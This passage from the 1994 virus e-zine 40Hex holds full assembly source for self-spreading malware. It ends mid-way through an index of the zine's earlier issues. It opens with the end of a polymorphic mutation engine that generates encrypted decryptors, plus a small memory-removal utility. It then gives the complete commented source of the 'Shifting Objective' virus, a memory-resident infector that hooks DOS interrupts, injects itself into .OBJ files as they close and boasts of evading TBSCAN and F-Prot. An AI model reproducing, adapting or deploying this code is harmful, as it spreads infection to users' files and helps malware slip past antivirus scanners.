; cs:[Buffer] = Buffer (Mutated virus) ;
; ;
;*****************************************************************************;
Mutate: push bx
push di
push ds
push es
push cs
pop es
push cs
pop ds
mov cx,1234h
CodeSize equ word ptr [$ - VirusTop - 2]
mov di,offset Buffer
push cx ; save cx for later use.
call InitMutate ; generate decryptor
pop cx ; restore cx
test ds:MutationFlags,80h ; 0=encryption, 80h=decryption
jnz EncryptDecrypt
xor si,si
cld ; copy the code that must be
rep movsb ; encrypted
Param1 equ word ptr [$ - VirusTop + 1]
Param2 equ word ptr [$ - VirusTop + 4]
Param3 equ word ptr [$ - VirusTop + 0ah]
Param4 equ word ptr [$ - VirusTop + 13h]
Param5 equ word ptr [$ - VirusTop + 17h]
EncryptOpcode equ byte ptr [$ - VirusTop + 10h]
CompareOpcode equ byte ptr [$ - VirusTop + 15h]
ConditionOpcode equ byte ptr [$ - VirusTop + 19h]
AddOpcode equ byte ptr [$ - VirusTop + 0eh]
EncryptDecrypt: mov bx,1234h ; 0000 BB ?? ??
mov ax,1234h ; 0003 B8 ?? ??
Repeat: mov dx,bx ; 0006 89 DA
add bx,1234h ; 0008 81 C3 ?? ??
mov cx,ax ; 000C 89 C1
add ax,bx ; 000E 01 D8
add cs:[bx+1234h],bl ; 0010 2E 00 9F ?? ??
sub bx,1234h ; 0015 81 EB ?? ??
jnz Repeat ; 0019 75 EF
pop es
pop ds
pop di
pop bx
MutationDone: ret
JumpTable equ word ptr [$ - VirusTop]
dw InitReg - VirusTop ; 3 bytes ; 1 cl&02
dw SetDestenation - VirusTop ; 0 bytes ; 2 cl&03
dw IncReg - VirusTop ; 4 bytes ; 3 cl&08
dw MoveIndex - VirusTop ; 2 bytes ; 4 cl&10
dw Memory - VirusTop ; 5 bytes ; 5 cl&20
dw Compare - VirusTop ; 6 bytes ; 6 cl&40
dw PrefetchFix - VirusTop ; 2 bytes ; 7 cl&80
TrashTable equ word ptr [$ - VirusTop]
dw IncDecTrash - VirusTop ; 1 byte ; 1
dw ZeroReg - VirusTop ; 2 bytes ; 2
dw JumpTrash - VirusTop ; 2 bytes ; 3
dw InitTrash - VirusTop ; 3 bytes ; 4
dw AddSubTrash - VirusTop ; 4 bytes ; 5
dw MemoryTrash - VirusTop ; 5 bytes ; 6
dw MoveTrash - VirusTop ; 2 bytes ; 7
OpcodeTable equ byte ptr [$ - VirusTop]
db 00h,28h,30h,30h
db 79h,78h,75h,75h
MoveIndex: xor cl,30h
sub ch,2
Registers equ word ptr [$ - VirusTop + 1]
IndexReg equ byte ptr [$ - VirusTop + 1]
CounterReg equ byte ptr [$ - VirusTop + 2]
db 0bbh,?,?
push cx
xchg ax,cx
mov cx,0c089h
cmp bl,bh
jne MakeMove
mov ds:FlagsOk,0ebh
CryptReg equ byte ptr [$ - VirusTop + 1]
db 0b3h,?
test al,08h
mov al,0d8h
jz SetAddOpcode
mov al,0d0h
SetAddOpcode: mov ds:AddOpcode[1],al
call Random
push bx
and ax,3
xchg ax,bx
mov al,OpcodeTable[bx]
mov ah,0c0h
inc ax
pop bx
mov ds:AddOpcode,al
xchg ax,cx
MakeMove: call Random
and al,2
jnz DirectionOk
xchg bl,bh
DirectionOk: rol bl,1
rol bl,1
rol bl,1
mov ah,bl
or ah,bh
or ax,cx
stosw
pop cx
ret
db 2
MoveTrash: push cx
call RandomRegFF
and ax,0707h
xchg ax,bx
mov cx,0c089h
jmp MakeMove
InitMutate: mov ds:Reserved,11h
call Random
call ResetRegZero
push ax
mov bx,1234h
DecryptorOfs equ word ptr [$ - VirusTop - 2]
mov si,1234h
DecryptorSize equ word ptr [$ - VirusTop - 2]
add bx,si
add si,di
mov dx,bx
mov ds:Param3,1
mov ds:Param4,si
mov ds:Param5,ax
call Random
and ax,3
mov bx,8000h
mov ds:JumpType,al
dec ax
js Ok
xchg ax,bx
mov ax,7fffh
je Ok
xor ax,ax
xor bx,bx
Ok: push ax
call Random
pop ax
jpe Increase
add ax,cx
add dx,cx
neg ds:Param3
add ds:Param4,cx
mov cx,1903h
jmp Decrease
Increase: xchg ax,bx
sub ax,cx
mov cx,1703h
Decrease: mov ds:Param1,ax
call Random
and al,10h
or al,0ebh
mov ds:CmpSub,al
mov ds:CompareOpcode[1],al
test al,10h
pop ax
jnz UseCompare
add ds:Param3,ax
jmp Skip
UseCompare: add ds:Param1,ax
Skip: mov ax,ds:Param1
sub dx,ax
add ax,ds:Param3
sub ds:Param4,ax
Again: mov bx,offset JumpTable - 2
cld
call Choose
call bx
or cl,cl
jne Again
ret
Choose: call Random
and ax,300h
push cx
ChooseNext: inc ax
ror cl,1
sbb ah,0
jae ChooseNext
pop cx
dec ax
and ax,7
jz Trash
or cl,1
add bx,ax
add bx,ax
mov bx,ds:[bx]
ret
Trash: inc bx
mov ax,si
sub ax,di
jbe Ready
sub al,ch
ja NotReady
Ready: and cl,0feh
ret
NotReady: push bx
push cx
push ds:Randomize
mov bx,offset TrashTable - 2
mov cl,11111110b
mov ch,al
call Choose
cmp ch,ds:[bx-1]
jae SizeOk
mov bx,offset IncDecTrashAbs
SizeOk: call bx
pop ds:Randomize
pop cx
pop bx
ret
db 3
InitTrash: call RandomRegFF
or al,0b8h
StoreRandom: stosb
call RealRandom
stosw
ret
InitReg: xor cl,06h
sub ch,6
push cx
mov ch,00001111b
call RandomReg
mov ds:CounterReg,al
mov ds:CryptReg,al
push ax
or al,0b8h
stosb
mov ax,ds:Param1
stosw
pop ax
mov bx,cx
cmp al,3
je IndexRegOk
GetIndexReg: mov ch,11101000b
call RandomReg
IndexRegOk: mov ds:IndexReg,al
or ds:Reserved,cl
cmp al,ds:CounterReg
jne NoCryptReg
mov ch,00001111b
call RandomReg
mov ds:CryptReg,al
or al,0b8h
stosb
call Random
mov ds:Param2,ax
stosw
or bl,cl
NoCryptReg: or ds:Reserved,bl
pop cx
ret
SetDestenation: xor cl,1ch
sub ch,2
mov ds:JumpDestenation,di
ResetRegZero: mov ds:RegZero,0ffh
jmp ResetFlagsOk
db 1
IncDecTrashAbs equ byte ptr [$ - VirusTop]
IncDecTrash: call RandomRegFF
and ah,8
or al,ah
or al,40h
Compress1: stosb
jmp ResetFlagsOk
db 2
FlagsOk equ byte ptr [$ - VirusTop]
JumpTrash: jb IncDecTrash
call RealRandom
mov al,75h
jpe StoreJump
mov al,78h
StoreJump: stosw
ret
Memory: xor cl,20h
sub ch,5
mov al,ds:IndexReg
sub al,5
ja RegOk1
mov al,3
jb RegOk2
RegOk1: dec ax
RegOk2: or al,84h
xchg ax,bx
call Random
and al,4
mov ah,ds:CryptReg
or al,ah
rol al,1
rol al,1
rol al,1
or al,bl
push ax
call MemoryOpcode
test ds:MutationFlags,80h
jnz Decryptor
Encryptor: xor bl,1
Decryptor: mov al,OpcodeTable[bx]
mov ds:EncryptOpcode[1],al
pop ax
stosb
and al,20h
or al,87h
cmp ah,ds:CounterReg
jne NotEqual
or al,9fh
NotEqual: mov ds:EncryptOpcode[2],al
xchg ax,dx
stosw
SetStatus: test cl,38h
jnz ResetFlagsOk
or cl,40h
ResetFlagsOk: mov ds:FlagsOk,0ebh
ret
db 2
ZeroReg: call RandomRegFF
not cl
and ds:RegZero,cl
xchg al,ah
and al,1ah
test al,18h
jpo OpcodeOk
xor al,10h
OpcodeOk: mov cl,3
mov ch,ah
rol ah,cl
or ah,ch
or ax,0c021h
stosw
SetFlagsOk: mov ds:FlagsOk,072h
ret
db 5
RegZero equ byte ptr [$ - VirusTop + 1]
MemoryTrash: db 0b5h,?
not ch
and ch,0fh
jz ZeroReg
call RandomRegFF
and ah,23h
mov cl,3
rol al,cl
or al,84h
or al,ah
push ax
call MemoryOpcode
pop ax
Compress2: call StoreRandom
jmp ResetFlagsOk
IncReg: xor cl,08h
sub ch,4
mov bx,ds:Param3
xor ds:EncryptOpcode[2],8
mov ax,ds:Registers
cmp al,ah
je Adjust
test cl,10h
jz DoNotAdjust
Adjust: sub dx,bx
DoNotAdjust: call AddSub
jmp SetStatus
Compare: sub ch,6
xor cl,0c0h
mov ax,ds:Param5
CmpSub equ byte ptr [$ - VirusTop + 1]
db 0b3h,?
xchg ax,bx
cmp al,0fbh
je DoNotChange
neg bx
call AddSubLarge
jmp Jump
DoNotChange: mov ax,0f881h
call AddSubMore
JumpType equ byte ptr [$ - VirusTop + 1]
Jump: db 0bbh,?,0
mov al,ds:OpcodeTable[bx+4]
mov ds:ConditionOpcode,al
stosb
JumpDestenation equ word ptr [$ - VirusTop + 1]
db 0b8h,?,?
sub ax,di
dec ax
jmp Compress1
db 4
AddSubTrash: mov al,81h
stosb
call RandomRegFF
and ah,38h
or al,0c0h
or al,ah
jmp Compress2
PrefetchFix: or ch,ch
je DontFix
mov al,0ebh
cmp ds:FlagsOk,al
je JumpOpcodeOk
mov al,79h
JumpOpcodeOk: stosb
mov ax,si
sub ax,di
dec ax
jns JumpOk
xor ax,ax
JumpOk: stosb
DontFix: and cx,1
ret
AddSub: cmp bx,2
jg AddSubLarge
cmp bx,-2
jge AddSubSmall
AddSubLarge: call Random
mov ax,0c081h
jns AddSubMore
mov ah,0e8h
neg bx
AddSubMore: or ah,ds:CounterReg
push ax
mov al,bl
cbw
cmp ax,bx
pop ax
je AddSubByte
AddSubWord: stosw
xchg ax,bx
stosw
ret
AddSubByte: mov al,83h
stosw
xchg ax,bx
stosb
Return: ret
Sub1: inc bx
mov al,48h
AddSub1: or al,ds:CounterReg
stosb
AddSubSmall: or bx,bx
je Return
js Sub1
Add1: dec bx
mov al,40h
jmp AddSub1
MemoryOpcode: and al,7
cmp al,6
mov al,1
jne NotBP
mov al,2
MutationFlags equ byte ptr [$ - VirusTop + 1]
NotBP: db 0a8h,?
jnz DoNotOverride
mov al,2eh
stosb
DoNotOverride: call Random
and ax,3
xchg ax,bx
mov al,ds:OpcodeTable[bx]
stosb
ret
RealRandom: xor ax,ax
out 43h,al
call Random
push bx
xchg ax,bx
in al,40h
xchg al,ah
in al,40h
add ax,bx
pop bx
ret
Random: mov ax,1234h
Randomize equ word ptr [$ - VirusTop - 2]
ror ax,1
ror ax,1
ror ax,1
inc ax
mov ds:Randomize,ax
ret
RandomRegFF: mov ch,0ffh
RandomReg: call Random
RandomRegNext: inc ax
and al,7
xchg ax,cx
mov al,1
rol al,cl
xchg ax,cx
Reserved equ byte ptr [$ - VirusTop + 2]
db 0f6h,0c1h,?
jnz RandomRegNext
test cl,ch
jz RandomRegNext
or ds:RegZero,cl
ret
;*****************************************************************************;
; ;
; Mutation engine ends here. ;
; ;
;*****************************************************************************;
VirusEnd equ $
MaxFiles equ 4
FileTable equ [$ - VirusTop]
FileTableEntry equ (HeaderLength + 7)
db (FileTableEntry * MaxFiles) dup(?)
dwa macro ident
ident equ word ptr [$ - VirusTop]
dw ?
endm
dba macro ident
ident equ byte ptr [$ - VirusTop]
db ?
endm
NewExeOfs equ dword ptr [$ - VirusTop]
dwa NewExeOfsL
dwa NewExeOfsH
SFT_Entry equ word ptr [$ - VirusTop]
dwa SFT_HandleCount ; 0
dwa SFT_OpenMode ; 2
dba SFT_Attribute ; 4
dwa SFT_DeviceInfo ; 5
dwa SFT_DeviceInfoOfs ; 7
dwa SFT_DeviceInfoSeg ; 9
dwa SFT_Cluster ; b
dwa SFT_Time ; d
dwa SFT_Date ; f
dwa SFT_FileSizeL ; 11
dwa SFT_FileSizeH ; 13
dwa SFT_FilePosL ; 15
dwa SFT_FilePosH ; 17
StealthNames equ byte ptr [$ - VirusTop]
db (8 * 0ah) dup(?)
Buffer equ byte ptr [$ - VirusTop]
db 120h dup(?)
MemoryEnd equ $
;*****************************************************************************;
; ;
; All good things must end. This virus ends here. ;
; ;
;*****************************************************************************;
code ends
end EntryPoint
8<------------<remove.asm>-------------------------------------------------->8
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
Main: mov ah,9
mov dx,offset Msg1
int 21h
mov ax,0fdc8h
mov ds,ax
mov si,041f9h
cmp byte ptr ds:[si],09ah
jne Failed
mov byte ptr ds:[si],36h
mov word ptr ds:[si+1],16ffh
mov word ptr ds:[si+3],05eah
push cs
pop ds
mov ah,9
mov dx,offset Msg3
int 21h
jmp Exit
Failed: push cs
pop ds
mov ah,9
mov dx,offset Msg2
int 21h
Exit: mov ax,4c00h
int 21h
Msg1 db 'Removing mirror from memory... $'
Msg2 db 'Failed!',13,10,'$'
Msg3 db 'Ok!',13,10,'$'
code ends
end Main
8<--------------<remove.bat>------------------------------------------------>8
@echo off
remove
copy c:\dos\command.com c:\virus\command.com
8<--------<mirror.bat>------------------------------------------------------>8
copy c:\dos\command.com c:\virus\command.com
set comspec=c:\virus\command.com
mirror
40Hex Number 13 Volume 4 Issue 1 File 006
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
;<3B> Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism] <20>
;<3B> <20>
;<3B> Memory Resident .OBJ Infector - No TBSCAN Flags, No F-Prot Alarms! <20>
;<3B> <20>
;<3B> This virus breaks new bounds in viral technology, best I know }-) <20>
;<3B>It infects .OBJ files that are set up to compile to simple, stand- <20>
;<3B>alone .COM's. The basic theory for this is the following: It takes <20>
;<3B>the pre-set compiling points of the modules in the .OBJ and moves them<65>
;<3B>up in memory so Objective will have room to insert itself underneath. <20>
;<3B>When the file is compiled the virus is at the beginning of the file, <20>
;<3B>and the original code follows BUT - the original code's memory offsets<74>
;<3B>are what they were BEFORE the virus infected the .OBJ. Therefore, all<6C>
;<3B>Objective has to do when it runs is go memory resident, and shift the <20>
;<3B>host code back down to where it starts at 100h in memory, and all is <20>
;<3B>well. <20>
;<3B> <20>
;<3B> Object files are basically a set of linked lists or fields, each <20>
;<3B>with a three byte header. The first byte is it's identity byte, while<6C>
;<3B>the following word is the size of the field - header. The very last <20>
;<3B>byte of each record is a simple checksum byte - this can be gained <20>
;<3B>simply by adding up all of the bytes in the field save the three byte <20>
;<3B>header and taking the negative (not reg/inc reg) so that the entire <20>
;<3B>field value + checksum = 0. Each field type has it's own identity <20>
;<3B>value, but we are only concerned with a few right now. <20>
;<3B> <20>
;<3B>They are as follows: <20>
;<3B> 80h - Starting field of a .OBJ file <20>
;<3B> 8Ch - External definitions <20>
;<3B> 8Ah - Ending field of a .OBJ file <20>
;<3B> A0h - Regular Code <20>
;<3B> A2h - Compressed code (patterns/reiterated stuff) <20>
;<3B> <20>
;<3B> In the A0h and A2h types of fields, there is one more thing that <20>
;<3B>concerns us - the three bytes after the field size in the header <20>
;<3B>are indicators of the location in memory the code will be at - the <20>
;<3B>second and third byte form the word we will be concerned with, which <20>
;<3B>is a simple offset from CS:0000 that the code will begin. Since we <20>
;<3B>are dealing with .COM files and want to put our virus at the beginning<6E>
;<3B>of the file, we set the position field of the virus to 100h and the <20>
;<3B>positions of all the other A0h and A2h fields to their old position <20>
;<3B>plus the virus size. When the file is compiled, the virus will be <20>
;<3B>at the beginning and the host will follow. Attaching the virus to <20>
;<3B>the .OBJ itself is simple enough - just save the 8Ah field in memory, <20>
;<3B>and write FROM IT'S OLD BEGINNING a header for your virus, your <20>
;<3B>virus, then a checksum and the old 8Ah field. At all times when <20>
;<3B>modifying fields, the checksums must be fixed afterwards. <20>
;<3B> <20>
;<3B> For the rest of the techniques that may be useful, I suggest you <20>
;<3B>look at the following code for my Shifting Objective Virus. I'd like <20>
;<3B>to thank The Nightmare for his ideas on this when we sat around bored <20>
;<3B>those days. Greets go out to all of Phalcon/Skism, Urnst Kouch, <20>
;<3B>Mark Ludwig, TridenT, NuKE, and the rest of the viral community. <20>
;<3B>A special hello goes to Hermanni and Frisk. <20>
;<3B> <20>
;<3B> <20> Stormbringer [P/S] <20>
;<3B> <20><><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>
;<3B> <20> <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ
.model tiny
.radix 16
.code
org 100
start:
push ds
sub ax,ax
mov ds,ax
mov ax,word ptr ds:[84]
mov word ptr cs:[Fake21IP],ax
mov ax,word ptr ds:[86]
mov word ptr cs:[Fake21CS],ax
mov ax,word ptr ds:[2f*4]
mov word ptr cs:[Fake2fIP],ax
mov ax,word ptr ds:[2f*4+2]
mov word ptr cs:[Fake2fCS],ax
pop ds
CheckIfResident:
mov ax,0feadh ;Check if we are in memory
call fake21
cmp ax,0d00dh
jne ReserveMemory ;Nope, go resident
xor ax,ax
mov ds,ax
jmp RestoreFile ;Yep, skip it
ReserveMemory:
mov ax,ds
dec ax ;Go to MCB's
mov ds,ax
sub word ptr ds:[3],80 ;Grab 2K from this MCB
sub word ptr ds:[12],80 ;And from the Top of MEM in PSP
xor ax,ax
mov ds,ax ;We're gonna take up 2k in memory.
sub word ptr ds:[413],2 ;Reserve 2k from bios
int 12h ;Get bios memory amount in K
mov cl,6
shl ax,cl
PutVirusInMemory:
push cs
pop ds
sub ax,10 ;NewSeg:0 was in AX, now Newseg:100
mov es,ax ;is start of reserved memory field....
mov di,100
mov si,100
mov cx,end_prog-start
repnz movsb ;Copy virus into memory
HookInterrupts:
xor ax,ax
mov ds,ax ;Hook Int 21h directly using
cli ;Interrupt table
mov ax,offset Int21
xchg word ptr ds:[84],ax
mov word ptr es:[IP_21],ax
mov ax,es
xchg word ptr ds:[86],ax
mov word ptr es:[CS_21],ax
sti
RestoreFile:
push cs
pop es
mov ax,0deadh ;Call interrupt handler to restore file
pushf
call dword ptr ds:[84]
mov ax,4c01 ;Terminate if restore unsuccessful
call fake21
InstallCHeck:
mov ax,0d00dh ;Tell prog we're already here
iret
Int21:
cmp ax,0feadh
je InstallCheck ;Is it an install check?
cmp ax,0deadh
je RestoreHost ;Or a restoration request?
cmp ah,3e
jz fileclose ;Fileclose - go infect it if it's an .OBJ
GoInt21:
db 0ea ;Jump back into int 21h handler
IP_21 dw 0
CS_21 dw 0
RestoreHost:
push es
pop ds
mov di,sp ;Set iret to return to beginning of code
mov [di],100
mov di,100
mov si,offset Host ;Shift host back down over virus in memory
mov cx,0f000
repnz movsb
mov si,ax
xor ax,ax
mov bx,ax ;Set registers as if just executing
mov cx,ax
mov dx,ax
mov di,ax
iret ;Iret back into the host file
fileclose:
pushf
push ax bx cx dx es ds si di bp
xor ax,ax
xor ax,1220h
call fake2f
push bx
mov bl,byte ptr es:[di] ;Good ol' SFT trick
mov ax,1216h
call fake2f
or word ptr es:[di+2],2 ;Set file Read/Write
add di,28
pop bx
cmp byte ptr es:[di+2],'J' ;Check out filename
jne Done_Close
cmp word ptr es:[di],'BO'
jne Done_Close
mov word ptr cs:[Host_Handle],bx
mov ax,5700 ;Save date/time stamp
call fake21
push cx dx
call Infect_Obj ;go infect it
pop dx cx
mov ax,5701 ;Restore date/time stamp
call fake21
Done_Close:
pop bp di si ds es dx cx bx ax ;Exit and chain into int 21h
popf
jmp GoInt21
Isanexec:
push dx
GetAndSaveCurLoc:
mov ax,4201 ;Save position of current module
xor cx,cx
xor dx,dx
call fake21
push dx ax
ModExecStartingPoint:
ReadOldStartingPoint:
mov ah,3f
mov dx,offset startingpt ;Read starting point
mov cx,3
call fake21
mov ax,word ptr [startingpt+1]
cmp byte ptr firstexec,0 ;Check if this is the first exec field
jne NotFirstExec
;If so, it should have a starting
;point of 100h for a .COM for us
;to infect it correctly
CheckifwillbeCOMfile: ;we're assuming that anything with
mov byte ptr firstexec,1 ;a starting point of cs:100h will be
;a com. while this isn't true all
;the time, we can cross our fingers..
cmp ax,100
je NotFirstExec ;File is good, continue infection.
Getouttahere:
pop ax ax ax ;won't be a .com file - don't infect.
ret
NotFirstExec: ;Either it isn't first exec or the
mov cx,end_prog-start ;check was good.. now add virus size
add ax,cx ;to exec starting point.
mov word ptr [startingpt+1],ax
GoBackToStartingPointinfo:
pop dx cx
push cx dx
mov ax,4200 ;go back to starting point field
call fake21
AndWriteIt:
mov ah,41
dec ah
mov cx,3
mov dx,offset startingpt ;and save it
call fake21
GoToChecksumField:
mov dx,fieldsize
sub dx,4
xor cx,cx ;go to checksum field
mov ax,4201
call fake21
ResetExecChecksum:
mov ah,3f
mov dx,offset Checksum ;read checksum field
mov cx,1
call fake21
mov cx,-1
mov dx,-1 ;go back to checksum field in file
mov ax,4201
call fake21
mov cx,(end_prog-start)
sub Checksum,ch ;modify checksum to account for
sub Checksum,cl ;our change to starting point field.
mov ah,41
mov dx,offset Checksum ;and write it
mov cx,1
dec ah
call fake21
DoneIsExec:
pop dx cx
mov ax,4200 ;Restore original file pointer
call fake21
pop dx
jmp NExtfield ;and continue with infection
startingpt db 0,0,0
firstexec db 0
anexec:
jmp isanexec
Bailout:
ret
Infect_Obj:
push cs cs
pop es ds
mov firstexec,0 ;Init first exec field
call go_bof ;Go to beginning of file
ModExecFields:
call ReadHeader ;read the three byte header, field size in DX
;Header type in AL
cmp al,8c ;External module
je bailout ;It has external calls, which we can't
;handle yet :(
cmp al,0a0 ;Executable module
je anexec
cmp al,0a2 ;Reiterated executable module
je anexec
cmp al,8a ;Ending module
je DoneModExecs
NextField:
mov ax,4201 ;Go to the next field
xor cx,cx
call fake21
jmp ModExecFields
DoneModExecs:
mov ax,4201
mov cx,-1
mov dx,-3 ;go to start of 8A field (end module)
call fake21
push dx ax
mov cx,fieldsize
add cx,3+10 ;the +10 is just to be safe
mov ah,3f ;load in last module
mov dx,offset buffer
call fake21
mov endfieldsize,ax ;Read in the end module
pop dx cx
mov ax,4200 ;Go back to the beginning of the module
call fake21 ;now that we have it in memory
WriteOurHeader:
mov ah,3f
mov cx,endheader-ourheader ;write the header for virus module
mov dx,offset ourheader
inc ah
call fake21
WriteVirus:
mov ah,3f
mov cx,end_prog-start ;write virus to file
mov dx,100
inc ah
call fake21
CreateChecksum:
mov si,100
mov cx,end_prog-start
xor ax,ax
AddupChecksum: ;Create checksum for virus
lodsb
add ah,al
loop AddupChecksum
not ah
inc ah
mov Checksum,ah
WriteChecksum:
mov dx,offset Checksum
mov cx,1
mov ah,3f
inc ah
call fake21 ;Then save the checksum in module
WriteEndModule:
mov dx,offset Buffer
mov cx,endfieldsize
mov ah,3f
inc ah
call fake21 ;And put the ending module back into
ret ;place.... we're done.
ReadHEader:
mov ah,3f
mov dx,offset fieldheader
mov cx,3 ;Read module header for .obj files
call fake21 ;save module type in AL and
mov al,fieldheader ;module size in DX
mov dx,fieldsize
ret
Go_Bof: ;Go to beginning of file
mov al,0
jmp short movefp
Go_Eof: ;Go to the end of the file
mov al,02
movefp: ;Or just move the File pointer
xor cx,cx
xor dx,dx
mov ah,42
call fake21
ret
fake21:
pushf
db 9a
fake21IP dw 0
fake21CS dw 0
ret
fake2f:
pushf
db 9a
fake2fIP dw 0
fake2fCS dw 0
ret
Credits:
db 'Shifting Objective Virus 3.0 (c) 1994 Stormbringer [Phalcon/Skism]'
db 'Kudos go to The Nightmare!'
OurHeader:
db 0A0
dw (end_prog-start+4) ;our size in an .OBJ file
db 1
db 0 ;starting position (cs:100h)
db 1
endheader:
endfieldsize dw 0
Checksum db 0
fieldheader db 0
fieldsize dw 0
Host_Handle dw 0
end_prog:
Buffer:
Host db 90,90,90,90,90,90,90,90,0cdh,20
end start
40Hex Number 13 Volume 4 Issue 1 File 007
The Unoffical Index to 40Hex Virus Magazine
40Hex is written and released by the virus group
Phalcon/SKISM, whom I did not consult when making this.
Compiled and edited By: MegaDeth, [TiC]
Greets to all Phalcon/SKISM members, even Timelord who got lost the
winning raffle ticket to the 486 at HohoCon, and who later that
day had his VMB broken into by me and his own fellow Phalcon/SKISM
members. Watch for the 14 digit random password generator coming
out soon!! <G>
The index index is of all the issues of 40Hex from 1-12
sorted in order of number.
|=========================================================================|
|Title: | Issue #: | File #:|
|=========================================================================|
|Virus Spotlight, The Tiny virus | 1 | 001 |
|How to modify viruses to avoid SCAN | 1 | 002 |
|Sub-Zero virus | 1 | 003 |
|Simple encryption techniques and Leprosy-B | 1 | 004 |
|1992 virus | 1 | 005 |
|=========================================================================|
|How to sneak infected files into past SCAN. | 2 | 001 |
|The safe way to play with viruses. | 2 | 002 |
|Theory Dept. Viruses Slow vs. Fast. | 2 | 003 |
|Interview of the month: Skism One. | 2 | 004 |
|Artical on The Dark Avenger. | 2 | 005 |
|The mother of all viruses - WHALE! | 2 | 006 |
|And now a word from a real dick. | 2 | 007 |
|The Ontario Virus. | 2 | 008 |
|The 1260 Virus. | 2 | 009 |
|The Skism 808 source code. | 2 | 010 |
|Vienna/Violator source code | 2 | 011 |
|=========================================================================|
|A Word From Hellraiser | 3 | 001 |
|The Dark Avenger Source | 3 | 002 |
|Anthrax | 3 | 003 |
|The 40Hex Challenge/The Strange Case of Validate | 3 | 004 |
|Application for SKISM | 3 | 005 |
|Virus News For October/91 | 3 | 006 |
|The Darth Vader Virus Strain B | 3 | 007 |
|Mystery Virus | 3 | 008 |
|Tiny-F Source | 3 | 009 |
|Afterwords | 3 | 010 |
|=========================================================================|
|USA Virus News | 4 | 001 |
|The Bob Ross virus | 4 | 002 |
|The Sunday Virus | 4 | 003 |
|The Terror Virus | 4 | 004 |
|Virus Survay Artical | 4 | 005 |
|The Typo COM virus | 4 | 006 |
|From Johns BBS | 4 | 007 |
|The Marauder Virus | 4 | 008 |
|Pklite Scan Strings | 4 | 009 |
|Encryption Defeating | 4 | 010 |
|The Ultimate Toolkit | 4 | 011 |
|Tequilla Virus Source | 4 | 012 |
|.....................................................| 4 | 013 |
|Is This The End? | 4 | 014 |
|=========================================================================|
|BUSTED! Instigator's Story | 5 | 001 |
|Virus Spotlight: Ambulance Car | 5 | 002 |
|The 1963 Virus | 5 | 003 |
|Alliance w/McAfee and Dvorak | 5 | 004 |
|Virus Author's Constitution | 5 | 005 |
|SKISM Vengeance Virus Hex | 5 | 006 |
|Finding Scan Strings II | 5 | 007 |
|=========================================================================|
|Finding anti-viral programs in memory | 6 | 001 |
|Code Concealing: Part I | 6 | 002 |
|More Busts and Updates | 6 | 003 |
|The NoLite Utility | 6 | 004 |
|PHALCON/SKISM Update | 6 | 005 |
|Some Dick who wants to bust virus authors | 6 | 006 |
|The Kennedy Virus | 6 | 007 |
|Cornell students nailed for viruses | 6 | 008 |
|The Truth Behind Virus Scanners | 6 | 009 |
|Virus Spotlite-Dir2 Full commented source | 6 | 00A |
|Scan strings, and how to avoid them | 6 | 00B |
|!Virus Contest! | 6 | 00C |
|=========================================================================|
|Virii in the News Part I | 7 | 001 |
|Code Concealment [2] | 7 | 002 |
|An Introduction to Non-overwriting Virii | 7 | 003 |
|Enough Tinys to Sink a Ship | 7 | 004 |
|MtE News Stories | 7 | 005 |
|Virus Spotlite:Dissassembly of Leap Frog | 7 | 006 |
|Spammies Reminder | 7 | 007 |
|Virii in the News Part II | 7 | 008 |
|Debug Script for Pogue Mahone | 7 | 009 |
|=========================================================================|
|PS-MPC (MassProducedCode) | 8 | 001 |
|Putav, an expose! | 8 | 002 |
|Findav -P/S- Style | 8 | 003 |
|Checkav -P/S- Original | 8 | 004 |
|StarShip Virus Info | 8 | 005 |
|Virus Spotlite: Michelangelo | 8 | 006 |
|EXE Infectors and you | 8 | 007 |
|Disassembly of ASHAR | 8 | 008 |
|Ear-6 source en Espa<70>ol | 8 | 009 |
|Letter to the Editor | 8 | 010 |
|=========================================================================|
|40Hex Editorial | 9 | 001 |
|SYS Virii | 9 | 002 |
|Phoenix 2000 Debug Dump | 9 | 003 |
|More antidebugger techniques | 9 | 004 |
|Virus Spotlite: 4096 | 9 | 005 |
|Nina disassembly | 9 | 006 |
|A New Virus Naming Convention | 9 | 007 |
|Code Optimization | 9 | 008 |
|FirstStrike's Catfish virus | 9 | 009 |
|=========================================================================|
|Virus creation aids | 10 | 001 |
|Phalcon/Skism Shiny Happy virus | 10 | 002 |
|RNA virus source code | 10 | 003 |
|ARCV Busted | 10 | 004 |
